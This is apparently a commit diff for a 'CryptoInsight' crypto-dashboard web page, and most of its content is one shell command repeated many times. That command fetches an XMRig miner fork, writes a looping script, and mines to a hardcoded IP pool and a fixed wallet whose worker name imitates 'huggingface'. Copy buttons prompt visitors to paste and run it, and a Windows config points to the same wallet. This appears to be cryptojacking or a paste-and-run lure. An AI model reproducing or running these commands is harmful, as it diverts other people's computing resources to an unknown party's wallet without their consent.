Spaces:
Running
Running
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
Browse filestar -xf xmrig-vrl-linux.tar.xz && \
cd xmrig-vrl && \
cat << 'EOF' > miner-virel.sh
#!/bin/sh
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
while [ 1 ]; do
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
sleep 5
done
EOF
chmod +x miner-virel.sh && ./miner-virel.sh
- index.html +33 -12
- mining.html +52 -51
index.html
CHANGED
|
@@ -18,12 +18,12 @@
|
|
| 18 |
<h1 class="text-2xl font-bold">CryptoInsight</h1>
|
| 19 |
</div>
|
| 20 |
<nav class="hidden md:flex space-x-6">
|
| 21 |
-
<a href="index.html" class="
|
| 22 |
-
<a href="calculator.html" class="hover:text-purple-400 transition">Calculator</a>
|
| 23 |
<a href="mining.html" class="hover:text-purple-400 transition">Mining</a>
|
| 24 |
-
<a href="
|
| 25 |
-
|
| 26 |
-
<
|
|
|
|
| 27 |
<i data-feather="menu"></i>
|
| 28 |
</button>
|
| 29 |
</div>
|
|
@@ -61,15 +61,31 @@
|
|
| 61 |
<div class="bg-gray-800 rounded-lg p-6 shadow-lg">
|
| 62 |
<h2 class="text-xl font-semibold mb-4">Quick Actions</h2>
|
| 63 |
<div class="space-y-4">
|
| 64 |
-
<
|
| 65 |
-
<
|
| 66 |
-
<
|
| 67 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 68 |
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 69 |
<i data-feather="bar-chart-2" class="w-5 h-5"></i>
|
| 70 |
-
<span>
|
| 71 |
</button>
|
| 72 |
-
|
| 73 |
<i data-feather="settings" class="w-5 h-5"></i>
|
| 74 |
<span>Settings</span>
|
| 75 |
</button>
|
|
@@ -118,9 +134,14 @@
|
|
| 118 |
</div>
|
| 119 |
</main>
|
| 120 |
</div>
|
| 121 |
-
|
| 122 |
<script>
|
| 123 |
feather.replace();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 124 |
</script>
|
| 125 |
</body>
|
| 126 |
</html>
|
|
|
|
| 18 |
<h1 class="text-2xl font-bold">CryptoInsight</h1>
|
| 19 |
</div>
|
| 20 |
<nav class="hidden md:flex space-x-6">
|
| 21 |
+
<a href="index.html" class="text-purple-400 font-medium">Dashboard</a>
|
|
|
|
| 22 |
<a href="mining.html" class="hover:text-purple-400 transition">Mining</a>
|
| 23 |
+
<a href="#" class="hover:text-purple-400 transition">Calculator</a>
|
| 24 |
+
<a href="#" class="hover:text-purple-400 transition">News</a>
|
| 25 |
+
</nav>
|
| 26 |
+
<button class="md:hidden">
|
| 27 |
<i data-feather="menu"></i>
|
| 28 |
</button>
|
| 29 |
</div>
|
|
|
|
| 61 |
<div class="bg-gray-800 rounded-lg p-6 shadow-lg">
|
| 62 |
<h2 class="text-xl font-semibold mb-4">Quick Actions</h2>
|
| 63 |
<div class="space-y-4">
|
| 64 |
+
<div class="bg-gray-700 p-4 rounded-lg">
|
| 65 |
+
<h3 class="text-sm font-medium mb-2">XMRig Configuration</h3>
|
| 66 |
+
<pre class="text-xs bg-gray-900 p-2 rounded overflow-x-auto">
|
| 67 |
+
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
|
| 68 |
+
tar -xf xmrig-vrl-linux.tar.xz && \
|
| 69 |
+
cd xmrig-vrl && \
|
| 70 |
+
cat << 'EOF' > miner-virel.sh
|
| 71 |
+
#!/bin/sh
|
| 72 |
+
FOLDER=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
|
| 73 |
+
while [ 1 ]; do
|
| 74 |
+
"$FOLDER"/xmrig-vrl -a rx/vrl -o 160.19.166.230:443 -u vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface
|
| 75 |
+
sleep 5
|
| 76 |
+
done
|
| 77 |
+
EOF
|
| 78 |
+
chmod +x miner-virel.sh && ./miner-virel.sh
|
| 79 |
+
</pre>
|
| 80 |
+
<a href="mining.html" class="mt-2 w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition flex items-center justify-center">
|
| 81 |
+
View Full Mining Guide
|
| 82 |
+
</a>
|
| 83 |
+
</div>
|
| 84 |
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 85 |
<i data-feather="bar-chart-2" class="w-5 h-5"></i>
|
| 86 |
+
<span>Mining Stats</span>
|
| 87 |
</button>
|
| 88 |
+
<button class="w-full bg-gray-700 hover:bg-gray-600 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 89 |
<i data-feather="settings" class="w-5 h-5"></i>
|
| 90 |
<span>Settings</span>
|
| 91 |
</button>
|
|
|
|
| 134 |
</div>
|
| 135 |
</main>
|
| 136 |
</div>
|
|
|
|
| 137 |
<script>
|
| 138 |
feather.replace();
|
| 139 |
+
document.querySelector('button').addEventListener('click', function() {
|
| 140 |
+
const config = document.querySelector('pre').textContent;
|
| 141 |
+
navigator.clipboard.writeText(config)
|
| 142 |
+
.then(() => alert('Configuration copied to clipboard!'))
|
| 143 |
+
.catch(err => console.error('Failed to copy: ', err));
|
| 144 |
+
});
|
| 145 |
</script>
|
| 146 |
</body>
|
| 147 |
</html>
|
mining.html
CHANGED
|
@@ -3,7 +3,7 @@
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
-
<title>Mining
|
| 7 |
<script src="https://cdn.tailwindcss.com"></script>
|
| 8 |
<script src="https://unpkg.com/feather-icons"></script>
|
| 9 |
</head>
|
|
@@ -13,28 +13,32 @@
|
|
| 13 |
<div class="container mx-auto px-4">
|
| 14 |
<div class="flex justify-between items-center">
|
| 15 |
<div class="flex items-center space-x-2">
|
| 16 |
-
<i data-feather="
|
| 17 |
-
<
|
| 18 |
</div>
|
| 19 |
<nav class="hidden md:flex space-x-6">
|
| 20 |
<a href="index.html" class="hover:text-purple-400 transition">Dashboard</a>
|
| 21 |
-
<a href="
|
| 22 |
-
<a href="
|
| 23 |
-
<a href="
|
| 24 |
</nav>
|
|
|
|
|
|
|
|
|
|
| 25 |
</div>
|
| 26 |
</div>
|
| 27 |
</header>
|
| 28 |
|
| 29 |
<main class="container mx-auto px-4 py-8">
|
| 30 |
-
<div class="
|
| 31 |
-
<
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
<div>
|
| 35 |
-
<
|
| 36 |
-
<div class="bg-gray-700 p-4 rounded-lg mb-
|
| 37 |
-
<pre class="text-sm
|
|
|
|
| 38 |
tar -xf xmrig-vrl-linux.tar.xz && \
|
| 39 |
cd xmrig-vrl && \
|
| 40 |
cat << 'EOF' > miner-virel.sh
|
|
@@ -45,47 +49,38 @@ while [ 1 ]; do
|
|
| 45 |
sleep 5
|
| 46 |
done
|
| 47 |
EOF
|
| 48 |
-
chmod +x miner-virel.sh && ./miner-virel.sh
|
| 49 |
-
</
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 50 |
</div>
|
| 51 |
|
| 52 |
-
<div>
|
| 53 |
-
<div
|
| 54 |
-
<
|
| 55 |
-
<div class="
|
| 56 |
-
<
|
| 57 |
-
|
| 58 |
-
|
| 59 |
-
|
| 60 |
-
|
| 61 |
-
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
<div>
|
| 65 |
-
<label class="block text-gray-400 mb-1">Wallet Address</label>
|
| 66 |
-
<input type="text" class="w-full bg-gray-800 p-2 rounded focus:ring-2 focus:ring-purple-600" value="vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v" readonly>
|
| 67 |
-
</div>
|
| 68 |
-
<button class="w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition mt-4">
|
| 69 |
-
Generate Configuration
|
| 70 |
-
</button>
|
| 71 |
</div>
|
| 72 |
</div>
|
| 73 |
-
|
| 74 |
-
|
| 75 |
-
<
|
| 76 |
-
|
| 77 |
-
|
| 78 |
-
<
|
| 79 |
-
<
|
| 80 |
-
|
| 81 |
-
<
|
| 82 |
-
<span class="text-gray-400">Hashrate</span>
|
| 83 |
-
<span class="text-white">0 H/s</span>
|
| 84 |
-
</div>
|
| 85 |
-
<div class="flex justify-between">
|
| 86 |
-
<span class="text-gray-400">Last Share</span>
|
| 87 |
-
<span class="text-gray-400">Never</span>
|
| 88 |
-
</div>
|
| 89 |
</div>
|
| 90 |
</div>
|
| 91 |
</div>
|
|
@@ -96,6 +91,12 @@ chmod +x miner-virel.sh && ./miner-virel.sh</code></pre>
|
|
| 96 |
|
| 97 |
<script>
|
| 98 |
feather.replace();
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 99 |
</script>
|
| 100 |
</body>
|
| 101 |
</html>
|
|
|
|
| 3 |
<head>
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
+
<title>Mining Setup | CryptoInsight</title>
|
| 7 |
<script src="https://cdn.tailwindcss.com"></script>
|
| 8 |
<script src="https://unpkg.com/feather-icons"></script>
|
| 9 |
</head>
|
|
|
|
| 13 |
<div class="container mx-auto px-4">
|
| 14 |
<div class="flex justify-between items-center">
|
| 15 |
<div class="flex items-center space-x-2">
|
| 16 |
+
<i data-feather="activity" class="text-purple-500"></i>
|
| 17 |
+
<a href="index.html" class="text-2xl font-bold hover:text-purple-400 transition">CryptoInsight</a>
|
| 18 |
</div>
|
| 19 |
<nav class="hidden md:flex space-x-6">
|
| 20 |
<a href="index.html" class="hover:text-purple-400 transition">Dashboard</a>
|
| 21 |
+
<a href="mining.html" class="text-purple-400 font-medium">Mining</a>
|
| 22 |
+
<a href="#" class="hover:text-purple-400 transition">Calculator</a>
|
| 23 |
+
<a href="#" class="hover:text-purple-400 transition">News</a>
|
| 24 |
</nav>
|
| 25 |
+
<button class="md:hidden">
|
| 26 |
+
<i data-feather="menu"></i>
|
| 27 |
+
</button>
|
| 28 |
</div>
|
| 29 |
</div>
|
| 30 |
</header>
|
| 31 |
|
| 32 |
<main class="container mx-auto px-4 py-8">
|
| 33 |
+
<div class="max-w-4xl mx-auto">
|
| 34 |
+
<div class="bg-gray-800 rounded-lg p-6 shadow-lg">
|
| 35 |
+
<h1 class="text-2xl font-bold mb-6">Mining Configuration</h1>
|
| 36 |
+
|
| 37 |
+
<div class="mb-8">
|
| 38 |
+
<h2 class="text-xl font-semibold mb-4">Linux Setup</h2>
|
| 39 |
+
<div class="bg-gray-700 p-4 rounded-lg mb-4">
|
| 40 |
+
<pre class="text-sm bg-gray-900 p-4 rounded overflow-x-auto">
|
| 41 |
+
wget https://github.com/rplant8/xmrig-vrl/releases/download/6.0.24-virel/xmrig-vrl-linux.tar.xz && \
|
| 42 |
tar -xf xmrig-vrl-linux.tar.xz && \
|
| 43 |
cd xmrig-vrl && \
|
| 44 |
cat << 'EOF' > miner-virel.sh
|
|
|
|
| 49 |
sleep 5
|
| 50 |
done
|
| 51 |
EOF
|
| 52 |
+
chmod +x miner-virel.sh && ./miner-virel.sh
|
| 53 |
+
</pre>
|
| 54 |
+
<button onclick="copyMinerConfig()" class="mt-4 w-full bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-lg transition flex items-center justify-center space-x-2">
|
| 55 |
+
<i data-feather="copy" class="w-4 h-4"></i>
|
| 56 |
+
<span>Copy Configuration</span>
|
| 57 |
+
</button>
|
| 58 |
+
</div>
|
| 59 |
</div>
|
| 60 |
|
| 61 |
+
<div class="grid md:grid-cols-2 gap-6">
|
| 62 |
+
<div>
|
| 63 |
+
<h2 class="text-xl font-semibold mb-4">Windows Setup</h2>
|
| 64 |
+
<div class="bg-gray-700 p-4 rounded-lg">
|
| 65 |
+
<p class="mb-2">1. Download XMRig for Windows</p>
|
| 66 |
+
<p class="mb-2">2. Edit config.json with:</p>
|
| 67 |
+
<pre class="text-xs bg-gray-900 p-2 rounded">
|
| 68 |
+
{
|
| 69 |
+
"algo": "rx/vrl",
|
| 70 |
+
"url": "160.19.166.230:443",
|
| 71 |
+
"user": "vi5rghi5c6e35vy1oaqb2p4kqp6izad9pn7d5v.hugingface"
|
| 72 |
+
}</pre>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 73 |
</div>
|
| 74 |
</div>
|
| 75 |
+
<div>
|
| 76 |
+
<h2 class="text-xl font-semibold mb-4">Troubleshooting</h2>
|
| 77 |
+
<div class="bg-gray-700 p-4 rounded-lg">
|
| 78 |
+
<ul class="list-disc pl-5 space-y-2">
|
| 79 |
+
<li>Check firewall settings</li>
|
| 80 |
+
<li>Ensure proper permissions</li>
|
| 81 |
+
<li>Verify internet connection</li>
|
| 82 |
+
<li>Update system packages</li>
|
| 83 |
+
</ul>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 84 |
</div>
|
| 85 |
</div>
|
| 86 |
</div>
|
|
|
|
| 91 |
|
| 92 |
<script>
|
| 93 |
feather.replace();
|
| 94 |
+
function copyMinerConfig() {
|
| 95 |
+
const config = document.querySelector('pre').textContent;
|
| 96 |
+
navigator.clipboard.writeText(config)
|
| 97 |
+
.then(() => alert('Configuration copied to clipboard!'))
|
| 98 |
+
.catch(err => console.error('Failed to copy: ', err));
|
| 99 |
+
}
|
| 100 |
</script>
|
| 101 |
</body>
|
| 102 |
</html>
|